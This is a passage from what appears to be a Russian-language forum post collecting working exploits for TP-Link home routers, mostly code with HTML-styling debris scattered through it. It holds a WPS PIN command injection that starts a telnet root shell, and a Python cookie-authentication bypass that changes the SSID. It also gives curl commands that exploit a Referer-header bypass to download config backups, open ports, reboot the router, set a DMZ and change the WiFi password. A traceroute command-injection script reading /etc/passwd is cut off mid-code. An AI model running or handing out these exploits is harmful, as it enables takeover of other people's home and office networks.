encoded =style='font-size:8.0pt;font-family:Consolas;color:black'> hashlibclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>md5class=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>encodedclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>encodeclass=token>(class=token>"utf-8"class=token>)).style='font-size:8.0pt;font-family:Consolas;color:black'>hexdigestclass=token>().style='font-size:8.0pt;font-family:Consolas;color:black'>upperclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
data =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>[(class=token>"operation"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"login"class=token>),style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>(class=token>"encoded"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> encodedclass=token>),style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>(class=token>"nonce"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> COOKIEclass=token>)]style='font-size:8.0pt;font-family:Consolas;color:black'>
# Payload
data_inject style='font-size:8.0pt;font-family:Consolas;color:#9A6E3A'>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>[style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>(class=token>"operation"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"write"class=token>),style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>(class=token>"option"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"connect"class=token>),style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>(class=token>"wps_setup_pin"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"11480723;telnetd -l /bin/sh"class=token>),style='font-size:8.0pt;font-family:Consolas;color:black'>
]
with requestsstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>.style='font-size:8.0pt;font-family:Consolas;color:black'>Sessionclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>asstyle='font-size:8.0pt;font-family:Consolas;color:black'> sclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    response class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> sclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>"http://%s/data/login.json"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> HOSTclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>data
    class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>printclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>responseclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>textclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token># An authorised request.style='font-size:8.0pt;font-family:Consolas;color:black'>
    r class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> sclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>getclass=token>(class=token>"http://%s"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> HOSTclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token># print (r.text)style='font-size:8.0pt;font-family:Consolas;color:black'>
    r class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> sclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>"http://%s/data/wps.setup.json"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> HOSTclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
        headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
        cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
        dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>data_injectclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
tn =style='font-size:8.0pt;font-family:Consolas;color:black'> telnetlibclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>Telnetclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>HOSTclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
tn.style='font-size:8.0pt;font-family:Consolas;color:black'>interactclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>

Список устройств уязвимых к Auth Bypass
TP-Link TL-WR1043ND 2 - Authentication Bypass

TP-Link TL-WR1043ND v2 - это многозадачный беспроводной маршрутизатор, предназначенный для домашнего использования и малых офисов. Он обладает различными функциями и характеристиками, позволяя пользователям создавать и управлять своей собственной беспроводной сетью.
Проблема была обнаружена на устройствах TP-Link TL-WR1043ND V2. Злоумышленник может отправить файл cookie в пакете проверки подлинности HTTP в веб-интерфейс управления маршрутизатором и полностью контролировать маршрутизатор, не зная учетных данных.

importstyle='font-size:8.0pt;font-family:Consolas;color:black'> requests

class=token>asciistyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'''
__________ __ _ __
Код:
/_  __/ __ \      / /   (_)___  / /__
  / / / /_/ /_____/ /   / / __ \/ //_/
 / / / ____/_____/ /___/ / / / / ,< 
/_/ /_/         /_____/_/_/ /_/_/|_|
 
'''
printstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>(class=token>asciiclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
Default_Gateway style='font-size:8.0pt;font-family:Consolas;color:#9A6E3A'>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>raw_inputclass=token>(class=token>"Enter your TP-Link router IP: "class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
# Constantsstyle='font-size:8.0pt;font-family:Consolas;color:black'>
url =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://'style='font-size:8.0pt;font-family:Consolas;color:black'>
url2 =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'/userRpm/LoginRpm.htm?Save=Save'style='font-size:8.0pt;font-family:Consolas;color:black'>
full =style='font-size:8.0pt;font-family:Consolas;color:black'> url class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> Default_Gateway class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> url2
# full = str(full)style='font-size:8.0pt;font-family:Consolas;color:black'>
# The full GET request with the cookie authorization hijackedstyle='font-size:8.0pt;font-family:Consolas;color:black'>
req_header =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Host'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'{}'class=token>.class=token>formatclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>Default_Gatewayclass=token>),style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'User-Agent'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Accept'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Accept-Language'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'en-US,en;q=0.5'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Accept-Encoding'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'gzip, deflate'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Referer'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://{}/userRpm/LoginRpm.htm?Save=Save'class=token>.class=token>formatclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>Default_Gatewayclass=token>),style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Connection'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'close'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Cookie'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'''Authorization=Basic%20QWRtaW5pc3RyYXRvcjpjM2JiNTI5NjdiNjVjYWY4ZWRkMWNiYjg4ZDcwYzYxMQ%3D%3D'''class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Upgrade-Insecure-Requests'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'1'style='font-size:8.0pt;font-family:Consolas;color:black'>
}
trystyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    response class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>getclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>fullclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>req_headerclass=token>).style='font-size:8.0pt;font-family:Consolas;color:black'>content
except requestsstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>.style='font-size:8.0pt;font-family:Consolas;color:black'>exceptionsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>ConnectionErrorclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>printclass=token>(class=token>"Enter a valid Default Gateway IP address\nExiting..."class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    exitclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
generate =style='font-size:8.0pt;font-family:Consolas;color:black'> responseclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>splitclass=token>(class=token>'/'class=token>)[class=token>3class=token>]style='font-size:8.0pt;font-family:Consolas;color:black'> class=token># Gets the randomized URL "session ID"style='font-size:8.0pt;font-family:Consolas;color:black'>
option_1 =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>inputclass=token>(class=token>"Press 1 to check if your TP-Link router is vulnerable: "class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
 
class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> option_1 class=token>isstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>1class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
 
style='font-size:8.0pt;font-family:Consolas;color:black'>    class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> generate class=token>instyle='font-size:8.0pt;font-family:Consolas;color:black'> responseclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>printclass=token>(class=token>'Vulnerable!\n'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
        option_2 class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>inputclass=token>(class=token>'Press 2 if you want to change the router\'s SSID or any other key to quit: 'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> option_2 class=token>isstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>2class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
            newssid class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>raw_inputclass=token>(class=token>'New name: 'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
            ssid_url class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'/userRpm/WlanNetworkRpm.htm?ssid1={}&ssid2=TP-LINK_660A_2&ssid3=TP-LINK_660A_3&ssid4=TP-LINK_660A_4&region=43&band=0&mode=5&chanWidth=2&channel=1&rate=83&speedboost=2&broadcast=2&brlssid=&brlbssid=&addrType=1&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save'class=token>.class=token>formatclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>
                newssidclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
            changessid_full class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> url class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> Default_Gateway class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'/'style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> generate class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> ssid_url
            requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>getclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>changessid_fullclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>req_headerclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
            class=token>printclass=token>(class=token>'Changed to: {}'class=token>.class=token>formatclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>newssidclass=token>))style='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>elseclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
            class=token>(class=token>"Please choose the correct option.\nExiting..."class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
            exitclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>elseclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>printclass=token>(class=token>'Not Vulnerable'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
        exitclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
elsestyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>printclass=token>(class=token>"Please choose the correct option.\nExiting..."class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    exitclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>

TP-Link TL-WR840N/TL-WR841N - Authenticaton Bypass

TP-Link TL-WR840N и TL-WR841N - это два различных модели беспроводных маршрутизаторов от компании TP-Link. Оба устройства предназначены для создания беспроводной сети и обеспечения доступа к интернету для устройств в доме или офисе.

Эта проблема вызвана неправильной обработкой сеанса в папке /cgi/ или /cgi.
файл, найденный Тухидом Шейхом (членом команды BlackFog).
Если какой-либо злоумышленник отправляет Referer Header со своим запросом и устанавливает Referer:
http://192.168.0.1/mainFrame.htm, аутентификация не требуется и
злоумышленник может выполнять действия маршрутизатора без аутентификации.

Список команд для изменения настроек роутера без авторизации:

Код:
Evil Actions Without Authentication example.style='font-size:8.0pt;color:#222222'>

============== Burp Request and curl command for conf.bin or backup file

=================

 

####### Burp ########

GET /cgi/conf.bin HTTP/1.1

Host: 192.168.0.1

User-Agent: Agent22

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.0.1/mainFrame.htm

Connection: close

Upgrade-Insecure-Requests: 1

 

-------Response--------

HTTP/1.1 200 OK

Content-Type: application/octet-stream; charset=utf-8

Content-Length: 5720

Connection: close

 

w@\AAb AaLA1/2AaA-Aa!AEa1A>>aAA!,*-A h[Aa1A3lAa!AA.A(c)-

.....SKIP.......

8/i?1/2i?1/2i?1/2i?1/2W

 

######## Curl ##########

curl -i -s -k  -X $'GET'     -H $'Host: 192.168.0.1' -H $'User-Agent:

Agent22' -H $'Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H

$'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H

$'Referer: http://192.168.0.1/mainFrame.htm' -H $'Connection: close'      $'

http://192.168.0.1/cgi/conf.bin' > backup.bin

 

------ take a look in backup.bin file --------

 

===========================================

 

=========== Add Port Forwarding ============

curl -i -s -k -X POST -H "Host: 192.168.0.1" -H "User-Agent:

Mozilla/Agent22" -H 'Accept: */*' -H "Referer:

http://192.168.0.1/mainFrame.htm" --data-binary

$'[IP_CONN_PORTTRIGGERING#0,0,0,0,0,0#1,1,2,0,0,0]0,5\x0d\x0atriggerPort=23\x0d\x0atriggerProtocol=TCP

or UDP\x0d\x0aopenProtocol=TCP or

UDP\x0d\x0aenable=1\x0d\x0aopenPort=23\x0d\x0a' http://192.168.0.1/cgi?3

 

HTTP/1.1 200 OK

Content-Type: text/plain; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

 

[1,1,2,7,0,0]0

triggerPort=23

triggerProtocol=TCP or UDP

openProtocol=TCP or UDP

enable=1

openPort=23

[error]0

 

----- Decription -----

enable=0 is for disable

enable=1 is for enable

u can change port also.

====================================

 

=========== Reboot Router =========================

curl -i -s -k -X POST -H "Host: 192.168.0.1" -H "User-Agent:

Mozilla/Agent22" -H 'Accept: */*' -H "Referer:

http://192.168.0.1/mainFrame.htm" --data-binary

$'[ACT_REBOOT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a' http://192.168.0.1/cgi?7

 

HTTP/1.1 200 OK

Content-Type: text/plain; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

 

[error]0

 

----Description -----

error = 0 means reboot seccessully

======================================

 

============= Enable Guest Network ==========================

curl -i -s -k  -X $'POST' -H $'Host: 192.168.0.1' -H $'User-Agent: Aent22'

-H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H

$'Accept-Encoding: gzip, deflate' -H $'Content-Type: text/plain' -H

$'Referer: http://192.168.0.1/mainFrame.htm' -H $'Content-Length: 844' -H

$'Connection: close' --data-binary

$'[LAN_WLAN_MULTISSID#1,1,0,0,0,0#0,0,0,0,0,0]0,1\x0d\x0amultiSSIDEnable=1\x0d\x0a[LAN_WLAN_MSSIDENTRY#1,1,1,0,0,0#0,0,0,0,0,0]1,11\x0d\x0aIsolateClients=0\x0d\x0aEnable=1\x0d\x0aSSID=Agent22\x0d\x0aBeaconType=WPAand11i\x0d\x0aWPAAuthenticationMode=PSKAuthentication\x0d\x0aWPAEncryptionModes=TKIPandAESEncryption\x0d\x0aIEEE11iAuthenticationMode=PSKAuthentication\x0d\x0aIEEE11iEncryptionModes=TKIPandAESEncryption\x0d\x0aPreSharedKey=9876543210\x0d\x0aGroupKeyUpdateInterval=0\x0d\x0aMaxStaNum=32\x0d\x0a[LAN_WLAN_MSSIDENTRY#1,2,1,0,0,0#0,0,0,0,0,0]2,1\x0d\x0aIsolateClients=0\x0d\x0a[LAN_WLAN_GUESTNET#1,1,0,0,0,0#0,0,0,0,0,0]3,8\x0d\x0aLANAccessEnable=1\x0d\x0aUSBAccessEnable=0\x0d\x0aTCEnable=0\x0d\x0aTCMinUpBW=100\x0d\x0aTCMaxUpBW=200\x0d\x0aTCMinDownBW=100\x0d\x0aTCMaxDownBW=200\x0d\x0alastModified=1\x0d\x0a[LAN_WLAN_GUESTNET#1,2,0,0,0,0#0,0,0,0,0,0]4,8\x0d\x0aLANAccessEnable=1\x0d\x0aUSBAccessEnable=0\x0d\x0aTCEnable=0\x0d\x0aTCMinUpBW=100\x0d\x0aTCMaxUpBW=200\x0d\x0aTCMinDownBW=100\x0d\x0aTCMaxDownBW=200\x0d\x0alastModified=0\x0d\x0a'

$'http://192.168.0.1/cgi?2&2&2&2&2'

 

------- Description ----------

SSID=Agent22

PreSharedKey=9876543210

=============================================

 

======= DMZ enable and Disable on 192.168.0.112 ===========

curl -i -s -k  -X $'POST'     -H $'Host: 192.168.0.1' -H $'User-Agent:

Agent22' -H $'Referer: http://192.168.0.1/mainFrame.htm' -H

$'Content-Length: 78' -H $'Connection: close'     --data-binary

$'[DMZ_HOST_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\x0d\x0aenable=1\x0d\x0aIPAddress=192.168.0.112\x0d\x0a'

   $'http://192.168.0.1/cgi?2'

 

HTTP/1.1 200 OK

Content-Type: text/plain; charset=utf-8

Transfer-Encoding: chunked

Connection: close

[error]0

-------Description -----------

IPAddress=192.168.0.112

enable=1 or 0 (enable or disable)

=================================================

=============== WiFi Password Change =============

curl -i -s -k  -X $'POST'     -H $'Host: 192.168.0.1' -H $'User-Agent:

Agent22' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type:

text/plain' -H $'Referer: http://192.168.0.1/mainFrame.htm' -H

$'Content-Length: 199' -H $'Connection: close'     --data-binary

$'[LAN_WLAN#1,1,0,0,0,0#0,0,0,0,0,0]0,5\x0d\x0aBeaconType=11i\x0d\x0aIEEE11iAuthenticationMode=PSKAuthentication\x0d\x0aIEEE11iEncryptionModes=AESEncryption\x0d\x0aX_TP_PreSharedKey=9876543210\x0d\x0aX_TP_GroupKeyUpdateInterval=0\x0d\x0a'

   $'http://192.168.0.1/cgi?2'

 

-------Description -----------

IEEE11iAuthenticationMode=PSKAuthentication

IEEE11iEncryptionModes=AESEncryption

X_TP_PreSharedKey=9876543210

===============================style='font-size:8.0pt;color:#111111'>


Список устройств уязвимых к Command Injection
TP-Link TL-WR841N - Command Injection

TP-Link TL-WR841N - это беспроводной маршрутизатор, предназначенный для домашнего использования и небольших офисов. Он предоставляет базовые функции маршрутизации и беспроводного доступа к интернету, что делает его популярным выбором для пользователей, которые ищут надежное и простое в использовании устройство.

Работа эксплоита заключается во внедрения системной полезной нагрузки через веб панель.

HTML:
importstyle='font-size:8.0pt;font-family:Consolas;color:black'> requests
import sys
import time
trystyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    _ class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> sysclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>argvclass=token>[class=token>2class=token>]style='font-size:8.0pt;font-family:Consolas;color:black'>
    payload class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>' 'class=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>joinclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>sysclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>argvclass=token>[class=token>1class=token>:])style='font-size:8.0pt;font-family:Consolas;color:black'>
except IndexErrorstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>tryclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
        payload class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> sysclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>argvclass=token>[class=token>1class=token>]style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>exceptstyle='font-size:8.0pt;font-family:Consolas;color:black'> IndexErrorclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>printclass=token>(class=token>"[*] Command not specified, using the default `cat etc/passwd=`"class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
        payload class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'cat etc/passwd'style='font-size:8.0pt;font-family:Consolas;color:black'>
# Default credentials is admin:admin - replace with your ownstyle='font-size:8.0pt;font-family:Consolas;color:black'>
cookies =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Authorization'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'Basic YWRtaW46YWRtaW4='style='font-size:8.0pt;font-family:Consolas;color:black'>
}
headers =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Host'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'192.168.0.1'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'User-Agent'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Accept'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'*/*'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Accept-Language'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'en-US,en;q=0.5'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Accept-Encoding'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'gzip, deflate'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Content-Type'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'text/plain'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Content-Length'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'197'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Origin'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Connection'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'close'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Referer'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1/mainFrame.htm'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
}
data1 =style='font-size:8.0pt;font-family:Consolas;color:black'> \
'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\r\nmaxHopCount=20\r\ntimeout=50\r\nnumberOfTries=1\r\nhost="`{}`"\r\ndataBlockSize=64\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\nX_TP_HopSeq=0\r\n'''class=token>.class=token>formatclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>payloadclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
response1 =style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(class=token>'http://192.168.0.1/cgi?2'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>data1class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> verifyclass=token>=class=token>Falseclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
printstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>(class=token>'[+] Sending payload...'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
 
class=token>tryclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    response1class=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>textclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>splitlinesclass=token>()[class=token>0class=token>]style='font-size:8.0pt;font-family:Consolas;color:black'>
except IndexErrorstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    sysclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>exitclass=token>(class=token>'[-] Cannot get response. Please check your cookie.'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
if response1style='font-size:8.0pt;font-family:Consolas;color:#999999'>.style='font-size:8.0pt;font-family:Consolas;color:black'>textclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>splitlinesclass=token>()[class=token>0class=token>]style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>!=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[error]0'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    sysclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>exitclass=token>(class=token>'[*] Router/Firmware is not vulnerable.'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
 
style='font-size:8.0pt;font-family:Consolas;color:black'>data2 class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'style='font-size:8.0pt;font-family:Consolas;color:black'>
